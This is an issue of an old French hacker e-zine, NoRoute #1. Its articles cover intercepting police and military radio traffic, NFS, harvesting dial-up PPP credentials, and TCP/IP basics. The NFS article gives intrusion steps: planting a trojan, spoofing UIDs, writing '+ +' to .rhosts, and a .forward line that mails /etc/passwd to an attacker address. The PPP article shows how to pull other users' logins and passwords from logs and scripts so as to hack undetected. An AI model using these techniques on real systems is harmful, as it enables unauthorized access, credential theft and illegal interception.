quel est l'interer d'ecouter des frequences radios?" Et bien, a cela, je vous repondrais que si vous prenez votre pied en reussissant a hacker un ordinateur ou un pabx, vous pouvez tou aussi bien hacker un reseau radio militaire par exemple! Bien sur, vous allez me dire que d'intercepter les frequences radios d'un reseau de radiocommunication militaire n'est pas un acte de hacking!!! Et bien a cela aussi je repondrais que vous vous trompez drolement, car sachez que si les armees du monde entier utilisent frequemment la phonie pour communiquer, cela ne reste neanmoins qu'une goutte d'eau dans leur trafic. Pour la bonne raison que 90% des communications militaires se font en modes digitaux, c'est a dire qu'ils utilisent des modes de transmissions de donnees INFORMATIQUES!!! Tel le radioteletype "RTTY" [systeme de transmission semblable au telex classique utilise sur le reseau RTC] ainsi que la telegraphie dite code morse "CW", le fascimile "FAX" ou encore la SSTV [television a balayage lent, utilisee surtout par les radioamateurs] et cela bien sur n'est qu'un exemple.... Voici quelques modes de transmissions digitaux : RTTY a 45/50/75/100/110 bauds, le PACTOR mode d'emission semblable au PACKET-RADIO, le TOR, SITOR A et B, l'ARQ, l'ARQ-M etc..... Donc comme vous pouvez le constater, les modes de transmissions digitaux par radio ne manquent pas. Comme lorsque vous faites du hacking, il faut un ordinateur, un modem, une ligne telephonique et de bonne connaissance en unix, vax, il en va de meme pour le hacking-radio. Un vulgaire recepteur comme votre radio FM ne vous donnera pas acces a cet univers, il va vous faloir divers types de recepteurs radios speciaux, c'est a dire au moins un recepteur decametrique pour les ondes courtes [appelees Haute Frequence "HF"], ainsi qu'un recepteur scanner pour les ondes VHF et UHF [tres haute frequence "VHF" et ultra haute frequence "UHF"] , il s'agit d'un recepteur multibande couvrant un large spectre radio, par exemple, de 30 mhz a 2.6 ghz. En plus ils vous faudras divers types d'antennes [antenne boudin, discone pour le scanner et antenne electronique verticale ou filaire pour les ondes courtes HF]. Le materiel dont j'ai parle ci-dessus ne vous donne acces, bien sur, qu'a la partie phonie des transmissions radios, donc si vous voulez vous introduire dans les reseaux radios en mode digital, ils vous faudra encore du materiel specialise tel que soit un decodeur automatique de modes digitaux [tous les magasins de materiel radioamateur en vendent] du type Telereader CWR900 qui est capable de decoder les signaux RTTY, CW, SITOR A/B [ils y a de nombreux modeles de decodeurs], soit un ORDINATEUR!!! Relie a vos recepteurs radios et munis d'un logiciel de decodage, il vous donneras accees a tous les types de transmissions de donnees par voie radio. Vous pouvez trouver ces logiciels dans les magasins radioamateurs ou sur internet en les telechargeant sur des ftp radioamateurs [genre le logiciel JVFAX qui est gratuit!]. Je suis sur que maintenant vous vous dites:"Et bien moi qui croyais que la radio c'etait une passion sans beaucoup d'interet!! En fait ca me donne acces a une veritable toile de reseaux radios." Sachez pour finir que le hack des reseaux radios militaires, n'est qu'un exemple!!! Voici se que vous pourrez encore intercepter avec votre equipement de reception et de decodage : En HF : - reseaux Teletypes AERONAUTIQUE civile et militaire - reseaux Teletypes DIPLOMATIQUE - reseaux Teletypes de la POLICE - reseaux Teletypes des AGENCES DE PRESSE INTERNATIONALES - reseaux Teletypes des stations METEOROLOGIQUES - reseaux Teletypes des stations MARITIMES civiles et militaires - reseaux Teletypes des AGENCES DE RENSEIGNEMENTS Ou encore : - reseaux fascimile des stations METEO - reseaux packet-radio MILITAIRES Voici ce que vous pourrez intercepter en VHF/UHF : - transmission des balises de telemetrie des satellites radioamateurs - transmission en packet-radio de la station spatiale MIR - transmission en sstv des radioamateurs - emission d'emetteurs TV pirate - pager (radiomessagerie) Et cela sans compter les emissions en phonie... - police nationale - gendarmerie nationale - sapeur-pompier - samu - france telecom - telephone sans fil - radiotelephone de voiture (analogique) - armee de l'air - marine nationale - marine civile - aviation civile - radioamateur - douane - sncf - ratp - service de securite divers (prives ou gouvernementaux) - emetteur d'espionnage (micro-emetteur) etc... En ce qui concerne les frequences HF/VHF/UHF, ils existe de nombreux listings (manuels) de frequences ainsi que des magazines et des emags (emag HVU Magazine). Sur cette fin, j'espere vous avoir fait decouvrir un peut mieux les possibilites offertes par les radiocommunications. BON HACK-RADIO!!!! p=) !!!ATTENTION!!! "l'utilisation de recepteur SCANNER est INTERDIT en France" Il est tres probable que d'ici quelque temps la vente aux particuliers de ses recepteurs soit interdite, sauf si vous reussissez a avoir une autorisation administrative. Laquelle est bien sur impossible a obtenir a des fins de loisirs!... ------------------------------------------------------------------------------- NoRoute #1 þ NFS þ 4766 þ CoD4 þ NoRoute #1 ------------------------------------------------------------------------------- ----------------------------------------------------------------------------- ----------------------------------------------------------------------------- ## # ###### ##### # # # # # # # # ##### ##### # # # # # # ## # ##### BY CoD4 ( PHE member) ----------------------------------------------------------------------------- ----------------------------------------------------------------------------- Qui n'a pas deja entendu parler du NFS ou Network File System? Meme si vous ne savez se que c'est, ca vous dit surement quelque chose. NFS est un protocole situe au niveau de la couche application. Il permet en fait le partage de fichiers entre les machines d'un reseau. Mais cela de facon totalement transparente. Vous ne voyez pas que vous travaillez sur des fichiers qui se situent sur une autre machine. Vous mountez le repertoire distant et hop! C'est tout! Bon, voyons maitenant comment marche NFS. Generalites: NFS a ete invente pour permettre de monter des fichiers ou repertoires d'une machine serveur, sur un repertoire de la machine locale. de la meme facon que l'on mounte un CD-ROM ou une disquette. Le controle d'acces NFS est effectue par UID/GID et non pas par nom de login. Il sera donc obligatoire d'avoir le meme UID/GID sur les deux machines (cette condition est remplie automatiquement si on utilise NIS). Toute machine du domaine peut jouer le role de SERVEUR ou CLIENT (ce qui n'est pas le cas de NIS). :) Mais dans la pratique, il y a souvent qu'un seul SERVEUR pour le reseau. NFS est aussi un PEU "sans memoire". :) Il n'y a aucune memorisation des operations succesives effectuees par le serveur sur l'etat des clients ou sur les transactions de fichiers. L'operation d'ouverture par exemple n'est pas memorisee par le serveur mais par le client (tiens, une faiblesse). ;) Voyons maintenant comment utiliser NFS. Pour voir les fichiers exportes par une machine faites: # showmout -e www.bibi.com export list for www.bibi.com /usr (everyone) /cdrom (everyone) /export/bibi/ linda La, on peut voir que NFS exporte /usr /cdrom en everyone (tout le monde peut le mounter). Mais on voit aussi que /export/bibi/ est accesible que pour la machine linda. Ensuite, pour mounter un systeme de fichiers NFS faites: # mount -t nfs www.bibi.com:/usr /mnt Voila le repertoire /usr de www.bibi.com est maintenant dans notre repertoire /mnt . ----------------------------------------------------------------------------- 3: Let Me Be a Hacker =) <------smiley prefere de S0RC3RY Bon, maitenant que vous savez vous servir du NFS, voyons a quoi il peut bien nous servir: 1: deja a inspecter le systeme. N'oubliez pas que la moindre information peut etre cruciale (si le /var est exporte vous pouvez alors facilement recuperer le nom de domaine et donc utiliser NIS pour recuperer les maps passwd). 2: a ecrire un petit cheval de troie :) , hehe tres simple, que vous pouvez placer dans /usr . Si le NFS est mal configure, vous pouvez vous faire passer pour le r00t, mais bon c'est rare. ;) 3: vous pouvez surtout avoir un shell sur la machine. :) Souvent il y'a des home directories exportes. Si vous etes chanceux, certains seront 777 (tous le monde peut ecrire dedans :) ), sinon vous devrez prendre l'identite d'un user, en trafiquant votre UID/GID, operation assez facile d'ailleurs. Donc des que vous avez acces a un home directory, mettez lui un fichier .rhosts comprenants "+ +" dedans :) , ou faites un fichier .forward avec "|/bin/mail hacker@fuck.edu.xx < /etc/passwd" histoire de recuperer /etc/password . 4: autre bug de securite NFS n'a pas de memoire donc il se fie au client. Mais voila, si vous voulez ecrire ou lire un fichier, le client doit donner seulement le bon handle du fichier et hop, vous pouvez le lire y ecrire, etc! Pourquoi? Vous allez me dire. Car NFS donne seulement les handles de fichiers a un client qui a passe avec succes l'authentification. Hehe := 5: heeeeeuuuuuu je vois plus... :) Et bien voila, vous en savez un peu plus sur le NFS. ----------------------------------------------------------------------------- Dans le prochain n0R0Ute, on parlera de NIS et de DNS. BYE *** Article relu et corrige (les fotes dortografe) par Octagon... :) ------------------------------------------------------------------------------- NoRoute #1 þ Recuperer des comptes PPP þ 4767 þ Hotcode þ NoRoute #1 ------------------------------------------------------------------------------- Comment recuperer des comptes PPP Par HoTCoDe ----------------------------------------- J'ai decouvert tout ce qui va suivre sous ma distrib Linux RedHat 4.0, mais je pense qu'elle doit marcher dans le cas d'autres distributions, voire meme avec d'autres UN*X. Cependant, j'ai constate que cela ne marchait visiblement pas pour MkLinux :( [Sorcery: Voui.. Tout depend du script de connection... =) Si chat est appele avec l'option -v lors de la connection, alors toutes ces infos sont loggees dans le fichier en question. Remarquez rien ne vous empeche de chopper le root et de lire le script de connection =)] -METHODE UN- Voila donc... Le probleme se situe au niveau des permissions du fichier /var/log/messages (ou /var/adm/log/messages, ca depend) qui est en world readable (o+r). PPP (ma version est la 2.2) notifie toutes ses actions durant la connexion, et si on regarde bien, on voit qu'il envoie au modem le numero de telephone du provider, le login et le password correspondant a l'account. Voici donc ce qui se passe chez moi... % cat /var/log/messages | grep "chat" (j'ai decoupe ici une seule sequence de connexion, il y en a plusieurs dizaines sinon... J'ai aussi modifie les infos, histoire de quand meme garder mon compte confidentiel :) Feb 9 20:23:40 HoTMaCHiNe chat[924]: expect (OK) Feb 9 20:23:40 HoTMaCHiNe chat[924]: ^M Feb 9 20:23:40 HoTMaCHiNe chat[924]: ATH0^M^M Feb 9 20:23:40 HoTMaCHiNe chat[924]: OK -- got it 1> Feb 9 20:23:40 HoTMaCHiNe chat[924]: send (ATDT0140354512^M) Feb 9 20:23:40 HoTMaCHiNe chat[924]: expect (CONNECT) Feb 9 20:23:40 HoTMaCHiNe chat[924]: ^M Feb 9 20:24:01 HoTMaCHiNe chat[924]: ATDT0140354512^M^M Feb 9 20:24:01 HoTMaCHiNe chat[924]: CONNECT -- got it Feb 9 20:24:01 HoTMaCHiNe chat[924]: send (^M) Feb 9 20:24:01 HoTMaCHiNe chat[924]: expect (ogin:) Feb 9 20:24:01 HoTMaCHiNe chat[924]: 115200^M Feb 9 20:24:11 HoTMaCHiNe chat[924]: ^M Feb 9 20:24:11 HoTMaCHiNe chat[924]: Login: -- got it 2> Feb 9 20:24:11 HoTMaCHiNe chat[924]: send (foo^M) Feb 9 20:24:12 HoTMaCHiNe chat[924]: expect (assword:) Feb 9 20:24:12 HoTMaCHiNe chat[924]: foo^M Feb 9 20:24:12 HoTMaCHiNe chat[924]: Password: -- got it 3> Feb 9 20:24:12 HoTMaCHiNe chat[924]: send (bar^M) On voit donc en (1) le numero de telephone envoye (0140354512). En (2), le login (ici, "foo") et enfin en (3) le pass correspondant, "bar". C'est aussi con que ca ! On peut egalement chercher ces infos avec un % cat /var/log/messages | grep "send" Et on verra toutes les informations envoyees au modem. -METHODE DEUX- La methode deux est plus hypothetique, mais jouable quand meme. J'ai trouve des becanes ou elle fonctionnait... Hehe ! Il faut deja trouver les scripts de connexions PPP (ppp-on en general) a l' aide d'un `find -name "ppp-on" -print'. Sinon, il arrive qu'il soit dans /etc/ppp ou dans /sbin (ou encore /usr/sbin). Enfin bon, je vais pas vous macher tout le travail quand meme ! Il suffit des les recuperer, et si votre cerval fonctionne correctement, vous aurez compris que toutes les informations de connexion sont a l'interieur, vu que c'est un script. Donc, vous le dissequez, et la, Oh joie... TELEPHONE=0140354512 # The telephone number for the connection ACCOUNT=foo # The account name for logon (as in 'George Burns') PASSWORD=bar # The password for this account (and 'Gracie Allen') Je vous ai mis ici les scripts d'exemple que j'ai trouve dans `/usr/doc/ppp/scripts', et que j'utilise pour me connecter, mais je me doute que vous en avez plutot rien a cirer :) -CONCLUSiON- Voila deux methodes tres simples a mettre en oeuvre, qui ne coutent rien et qui permettent de recuperer facilement des comptes PPP, ce qui est toujours utile quand on veut hacker sans trop se faire reperer, en utilisant la connexion d'un illustre inconnu. Enjoy diz phile, continue loving Bernard Menez and have phun ! [Nota deux: =) Dans le deuxieme cas il faut etre root sur la machine en general pour avoir acces a ce script ultra confidentiel... Ces deux methodes vous permettent de chopper des logins dans tout cybercafe connecte par telephone au net et tournant sous linux... (pratique pour gerer les abos...)] ------------------------------------------------------------------------------- NoRoute #1 þ TCP/IP þ 4768 þ Kewl þ NoRoute #1 ------------------------------------------------------------------------------- --== Ben kesako c le tcpip ??? ==-- Intro. ===== Hello tout le monde! Tout le monde entend parler de TCPIP partout, donc j'y met mon grain de sel aussi... (attention faut avoir ca en tete pour capter des choses ki vont sortir dans certains numeros de Norout) En fait, c un protocole qui a ete cree pour pouvoir partager des ressources a travers un reseau. Son interet est qu'il peut etre utilise par tout type de machine (Sparc, Alpha, Silicon, etc...) et tout type de support (X25, Hyperchannel, PPP, FDDI, Ultranet, ...). Nous verrons l'exemple d'utilisation d'un pc sous Linux avec un support ethernet. Protocoles ========== Ben en fait, on dit toujours TCP/IP mais en fait les protocoles TCP et IP sont les plus utilises, si c'etait ICMP et UDP p'etre kon appellerai ca ICMP/UDP :o) En fait c pas par hasard, c car il existe une hierarchie entre les protocoles.. dont voila un petit dessin ki montre ke les RAW sockets permettent l'interfacage a la couche IP, ceux du type DGRAM a UDP, ainsi que ceux du type STREAM a la couche TCP. |------------------|--------------| Les protocoles utilises sur Internet | TELNET RWHO | RUSERS | sont bien decrits par les RFC (Requests | FTP TFTP | RSTAT | for Documents), disponibles sur les | | | protocoles sur la gauche de ce texte, | | | et quand on dit pas mal, c pas faux :o) | RLOGIN TALK | WALL | ftp.ibp.fr/pub/rfc, il decrivent avec | RSH DNS | RQUOTA | pas mal de precision. Donc je vais | | | decrires maintenant les principaux | | | protocoles .. | REXEC SMNP | NIS | | SMTP | NFS | 1. IP | |--------------| Ben c'est celui a qui on doit le | | | routage et la fragmentation des | | | paquets, il est sans connection. | | XDR | Quand on dit routage, en fait on va | | | dir que son boulot est de trouver | |--------------| trouver le routeur qu'il faut pour | | | atteindre la destination, alors | | | c'est grace a lui que la bonne | | RPC | interface est choisie. Donc aussi | | | il gere la fragmentation des |---------------------------------| paquets, ben ouais il faut bien, car | | les protocoles superieurs (TCP/UDP) | | sont coupes en fragments IP de tailles | Socket STREAM Socket DGRAM | maximale qui depend de l'interface | | utilisee. En reception, IP reassemble |---------------------------------| les fragments. Cette taille depend | | (pc de cod4 plante) du support utilise | RCP UDP | (1500 octets sur l'ethernet et 4352 | | sur une fibre optique FDDI). |---------------------------------| | Interface RAW Socket | 2. ARP et RARP |---------------------------------| ARP = Adress Resolution Protocol, | | il permet de faire une correspondance | | entre une adresse IP de 4 octets | ARP ICMP <------> IP | (A.B.C.D) vers une forme ethernet | | en 6 octets (A:B:C:D:E:F) et de savoir |---------------------------------| quelle carte est sur quelle IP. | | RARP, (Reverse ARP), ben soyons pas | ETHERNET ISO 8802.3 X25-3 | bete, tout le monde a devine son | | utilite ! ----------------------------------- 3. ICMP (cod4 a fait un restore de copine, mouahahahahha top).. Bon disons plutot que ICMP c Internet Control Message Protocol. En bref il permet d'analyser les blemes de communications. Grace a lui, on peut aussi savoir si une machine est en marche (ex : ping -s 65000 -f warez.2-go.com). Encore, un routeur peut donner des directives a une machine pour lui donner une meilleure route pour atteindre une machine (ICMP redirect). ICMP c le protocole regged en tant ke # 1. 4. UDP C'est le protocole numero 17. Il est oriente datagramme qui achemine les messages tels quels, sans ouverture de connection, et sans garantie de port egalement. Il peut etre utilise en point a point (vers un seul destinataire), ou en mode diffusion. (arf le pc de cod4 lui dit kil a un 386sx) En mode diffusion, UDP est utilise par talkd, tftpd et encore NFS. 5. TCP TCP = Transmission Control Protocol, il est oriente connexion, dont la vie est l'etablissement de la connection, la transmission des donnees et enfin la liberation de la connection. TCP ramene les segments sans decoupage ni regroupement, et garantie le bon port. En cas d'erreur de transmission, ben c'est tout simplement retransmi :), biensur grace a un controle de flux. TCP est utilise par les protocoles ftp, telnet, rlogin, lpd, X11. TCP est le protocole #6. Le niveau TCP ============= Donc TCP est le responsable de la fracture de messages en datagrammes, les reassemblant a l'autre bout, dans le meme ordre. IP est le responsable du routage de chaque datagramme. On pourrait dire que TCP fait tout le travail, dans les petits reseaux cela est vrai, mais sur Internet, envoyer un datagramme vers une autre machine n'est pas un simple boulot. Une connection peut forcer le datagramme a passer a travers toute une serie de reseaux, tels qu'une ligne Serie a 56 kbit/s, ensuite un reseau ethernet pour enfin arriver sur une FDDI, etc.. Garder la piste du chemin vers toutes les destinations et transporter les incompatibilites de differents medias de transport sont un travail pas tres simple... Notons que l'interface entre TCP et IP est quand meme assez simple. TCP fait simplement un datagramme avec une destination. Il ce peut (surement meme), qu'il manque quelque chose ici. On a tous parle d'adresses Internet, mais jamais comment gerer des multiples connections vers un systeme donne. Clairement, ca suffit pas de faire des datagrammes vers la bonne destination. TCP doit savoir quel datagramme fait parti ce cette connection (merci cod4 pour cette phrase). Cette tache est le demultiplexage. En fait, il y a toute une serie de de demultiplexages qui vont sur TCP/IP. Les informations dont on a besoin pour ce demultiplexage sont contenues dans des series de headers. Un header est simplement quelques tout petit octets places au debut de chaque datagramme par quelques protocoles dans le but de garder une piste de lui. C'est un peu comme mettre une lettre dans une enveloppe et mettre une adresse a l'exterieur de l'enveloppe. Sauf avec les reseaux modernes cela arrive souvent. C'est comme quand tu veux mettre une lettre a l'interieur d'une enveloppe, ta secretaire la met dans quelque chose plus gros qu'une enveloppe, puis le service du courier met encore ce truc plus gros qu'une enveloppe dans un encore plus gros.. Voici un appercu des headers qui font coller un message ki passe a travers un reseau TCP/IP : On commence par une simple donnee, par exemple tu essaies (oui je dis bien essaies :>) d'envoyer un fichier vers un autre ordinateur : ................................................................... TCP lui casse ca en morceaux dont il peut s'occuper. (biensur pour pouvoir le faire, il doit savoir quelle taille maximum un datagramme peut avoir sur ton type de reseau) .... .... .... .... .... .... .... .... .... .... TCP met un header au debut de chaque datagramme. Ce header contient au moins 20 octets, mais les plus importants sont les numeros de ports d'emission et de destination et le sequence number. Les numeros de port sont utilises pour garder une piste de differentes conversations. Suppose voir que trois personnes transferent des fichiers. Ton TCP peut etre leur donnera les ports numero 1000, 1001 et 1002 pour ces transferts. Quand tu envoies un datagramme, ca devient le port de source, puisque tu es sur la source du datagramme. Et biensur TCP de l'autre extremite a assigne un port des siens pour la conversation. Ton TCP doit aussi savoir quel port est utilise sur l'autre extreme. (Il le trouve quand la communication commence.) Il envoie ca dans le "champ" port de destination. Biensur si de l'autre cote est rerenvoye vers toi, les ports de source et de destination seront inverses, ensuite il sera le source et toi tu seras la destination. Chaque datagramme a un sequence number. Ceci est utilise alors l'autre fin afin d'etre sur que la datagramme a ete recu dans le bon ordre, et qu'en en a loupe aucun. TCP ne numerote pas les datagrammes (bon cod4 arretes un peu l'irc ca rend fou :), mais les octets. Donc s'il y a 500 octets de donnees dans chaque datagramme, le premier sera "numerote" 0, le second 500, le suivant 1000, le suivant 1500, etc........ Finalement, on va parler du Checksum (somme de controle). C'est un nombre qui est calcule en ajoutant tout les octets du datagramme. Le resultat est mit dans le header. TCP de l'autre cote verifie ce checksum aussi, et si ils ne sont pas d'accord, c'est que kelke chose de mauvais est apparu lors de la transmission, et il est jete au loin. Voila a quoi ressemble un petit datagramme : +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Port Source | Port de Destination | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | donnees ... prochains 500 octets | | ...... | Si on abregeait l'entete TCP par "T", le fichier ressemblairait a ceci : T.... T.... T.... T.... T.... T.... T.... Tu noteras qu'il y a des choses dont j'ai pas parle dans le header.. Ils sont generalement invoques avec la gestion de la connection. Pour etre sur qu'un datagramme est arrive a sa destination, le receveur as a renvoyer un "acknowledgement". C'est un datagramme dans lequel le champ "Acknowledgement number" est rempli. Par exemple, envoyer un paquet avec un acknowledgement de 1500 indique que tu as recupere toutes les donnees jusqu'a 1500. Si l'envoyeur ne recoit pas un acknowledgement dans un delais raisonnable, il renvoie les donnees. La fenetre (Window) est utilisee pour controler combien de donnees peuvent transiter a un moment. Il n'est pas pratique d'attendre que chaque datagramme soit acknowledged avant d'envoyer le suivant. Et aussi faut dire que ca ralentisserait, et pas qu'un peu, n'est ce pas sorcery ? D'autre part, tu ne peux pas que envoyer, ou un ordinateur rapide pourrait subir des indigestions a un plus petit qui recoit les donnees. Alors il y a un champ "Window", et des qu'un ordinateur a envoye des donnees, ce champ diminue, et s'il est vide, il arrete d'envoyer. Quand le recepteur recoit les donnees, il augmente sa fenetre (Window), en indiquant qu'il est pret a recevoir plus de donnees. Le niveau IP ============ TCP envoie chaqun de ces datagrammes a la couche IP. Biensur on doit dire a IP l'adresse de la machine de l'autre bout. Note quand meme que c'est tout ce qu'IP est concerne de faire. Il s'en fiches de ce qu'il y a dans le datagramme, ou meme dans le header TCP. Son boulot est simplement de trouver le chemin pour que le datagramme arrive jusqu'a sa destination. Pour permettre aux routeurs intermediaires d'envoyer le datagramme, il ajoute son propre header. La principale chose qu'on y trouve sont les IPs de source et de destination (adresses 32 bit, comme 128.6.4.194), le numero du protocole, et un autre cheksum. L'adresse source est simplement l'adresse de ta machine, c'est necessaire pour que l'autre sache d'ou ca vient. L'adresse de la machine de destination est l'adresse de l'autre machine, ce qui est necessaire aux routeurs entre pour connaitre ou tu veux que le datagramme ailles. En debit du fait que le trafic IP utilise TCP, il y a d'autres protocoles qui peuvent etre utilises avec IP, donc il faut dire a IP quel protocole il faut envoyer sur le datagramme. Finalement, le checksum permettra a IP de l'autre cote de verifier que le header n'a pas etre bousille lors du voyage. Note aussi que TCP et IP ont des checksums independants. IP a besoin d'etre capable de verifier que le header (entete) n'a pas etre endommage durant le transport, sinon il pourrait envoyer un message a un mauvais endroit. Pour des raisons que je ne vais pas expliquer, il est plus efficace et plus sur d'avoir TCP qui calcule son cheksum separement pour le header TCP et les donnees TCP. Quand IP a mit son header, voila a quoi le message ressemble : +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | TCP header, then your data ...... | | | Si on represente le header IP par un "I", ton fichier ressemblerait a ca : IT.... IT.... IT.... IT.... IT.... IT.... IT.... (Bon CoD4 est banni de #france, mort de rire !! :)) Aussi, le header contient des autres champs sont j'ai pas cause avant.. Le "flag" et "Fragment Offset" sont utilises pour garder une piste des pieces quand un datagramme doit merder. Ca peut arriver quand les datagrammes sont envoyes a travers un reseau pour lequel ils sont trop gros. La duree de vie "Time to Live" est un numero qui decroit lorsque que le datagramme passe a travers un systeme. Quand il devient nul, il datagramme est detruit. Ceci est fait en cas de deplacement en boucle du paquet. A ce point, c'est possible qu'il y ait plus de headers necessaires, si ton ordinateur est parfois connecte via une ligne modem vers l'ordinateur de destination, ou via un routeur, il pourrait simplement envoyer les datagrammes hors de la ligne.. Descriptions generales ====================== ben ouais, si la c'est pas clair, relit depuis le debut :).. Bon aller rapidement.. TCP/IP est une serie de protocoles. On va voir un petit exemple plutot que d'expliquer encore la meme chose. Avant tout, il y a un mail. Donc des commandes a envoyer vers une autre machine, par exemple les commandes qui disent qui est l'envoyeur, a ki il va et le texte du message. Ben euh, ce protocole n'assume pas le chat entre les 2 machines ? Et ben, c'est que le Mail, comme un autre protocole utilise sur le net, utilise simplement des commandes et de messages a etre envoyes. Il est concu pour etre utilise avec TCP et IP, et TCP est responsable de faire passer les commandes vers l'autre bout, puis IP de les envoyer... voila en bref. (compris maintenant ???) Dit tu aimes le mail ? Sockets et Applications ======================= Avant on a cause de la decomposition des donnees en paquets, pour etre envoye ailleurs, et reassemble de l'autre cote. Avant de continuer, je vais boire un coup, puis donner quelques detail sur des applications. Suppose voir que tu veuilles envoyer un fichier a ton pote qui est sur la machine dont l'adresse est 128.6.4.7. Pour commencer le processus, tu dois savoir plus qu'une adresse internet. Tu dois te connecter sur un serveur FTP a l'autre bout. En general, les programmes reseau sont specialises dans ce type de boulot. La plupart des machines ont plein de programmes qui tournent pour gerer le transfert de fichiers, le login a distance, courier, serveur fsp warez (arf), etc... Enfin quand tu te connectes sur 128.6.4.7, tu dois dire que tu veux parler au serveur FTP. Ce qui est fait en avant des sockets connus sur chaque serveur. Ye Rappelle que TCP utilise le numero de port pour garder une trace des conversations en cours. Les programmes de l'utilisateur utilisent normalement plus ou moins de ports au hasard, bienque les ports specifiques sont assignes pour les programmes qui attendent une demande particuliere. Par exemple. si tu veux envoyer un fichier, tu commences a lancer ftp, il ouvriera une connection sur un port au hasard, par exemple 1234, pour le port utilise a l'autre bout. Enfin il specifiera le port 21 de l'autre cote, qui est le port officiel des serveurs ftp. Note quand meme qu'il y a deux differents programmes en cours.. Tu lances ftp de ton cote, Il y a un programme dont le but est d'accepter des commandes depuis ton terminal et qui les balances de l'autre cote, ce programme qui te cause c'est le serveur FTP. Il a ete designe pour accepter des commandes depuis la connection reseau. Aussi une connection est decrite par ces 4 nombres : Addresses Internet Ports TCP connection 128.6.4.194, 128.6.4.7 1234, 21 ||333|o|| | | | O - O | | I | <--- CoD4 | \___/ | |_______| Et ben donc on peut dire FTP c nul a chier !! Il a besoin de deux connections, il commence comme le mail, et on lui dit "connecte moi sous tel utilisateur", "tiens voila mon mot de passe", "envoie moi ce fichier avec ce nom"... Et des que tout ca est fait, une seconde connection est ouverte pour les donnees seules. Il serait certainement possible d'envoyer les donnees sur la meme connection, comme SMTP fait, mais bon c comme ca et c tout et arrete de poser des questions ! :). En fait je vais dire plutot c car les transferts de files sont souvent long (merci a billou pour son gros win97 que tout le monde s'envoie en ftp et sature notre pov'rezo). Ceux qui ont cree le ftp ont voulu permettre a l'utilisateur de permettre d'envoyer des commandes pendant le transfert, tel que abandonner le transfert en cours, arf.. D'autres protocoles utilisent un principe plus ou moins similaire.. Et si ca te passionne, matte toujours les RFCs... Le rewtage facile (routage) =========================== Bon donc c'est IP qui est responsable du routage. Et pour plus d'infos voir http://www.cisco.com/ si tu as besoin d'un routeur par exemple :) (non je ne fais poa de pub!) Adresses Internet (petite notion) ================= Donc les adresses internet sont codees sur 32 bits, ecrites sous la forme de 4 octets (en decimal), par ex. 128.6.4.7. Actuellement il y a 3 types d'adresses. Le probleme est que l'adresse doit indiquer a la fois le reseau ainsi que la machine a l'interieur du reseau. Donc on a les classes IP. La classe A, pour les reseaux immenses, tels que Arpanet, cette classe est limite a 126 reseaux au total. Pour les gros reseaux, il y a la classe B, qui correspond a tous les reseaux entre 128.1 et 191.254, ce qui permet d'adresses le reseau local sur 16 bits, donc d'avoir 64516 machines, ce qui suffit pour la plupart des organisations, en si ca ne suffit pas, on peut avoir plusieurs classes B :). Finalement, la classe C, dont la partie reseau est codee sur 3 octets, de 192.1.1 et 223.254.254, permet d'avoir 254 machines sur chaque reseau, mais on peut avoir beaucoup de tels reseaux. Les adresses au dela de 223 sont reservees pour un futur usage, en tant que classes D et E, qui ne sont pas encore definies (enfin p'etre..) Quelques valeurs speciales qui sont reservees dans les adresses IP, 0 et 255 qui ont des significations particulieres, 0 pour les machines qui ne connaissent pas leur adresses. 255 est utilise pour le broadcast, qui est un message que tu veux que chaque machine sur le reseau voie, c'est utilise par exemple quand tu ne sais pas a qui parler, par exemple suppose que tu dois trouver l'adresse internet d'une machine a partir de son nom. Parfois tu ne sais pas quelle est l'adresse du serveur de noms le plus proche. Dans ce cas, p'etre tu envoie une requete au broadcast. A moins que ce soit une universite martienne, t'auras pas de machines en 255, arf... To be continued.. ================= =============================================================================== Ainsi s'acheve le premier NoRoute.... La precipitation et d'autres facteurs font que quelques erreurs ont pu se glisser dans ce numero.. Nous esperons que ce mag vous a plu et que vous en redemanderez... A bientot donc pour l'issue 2... [EOF]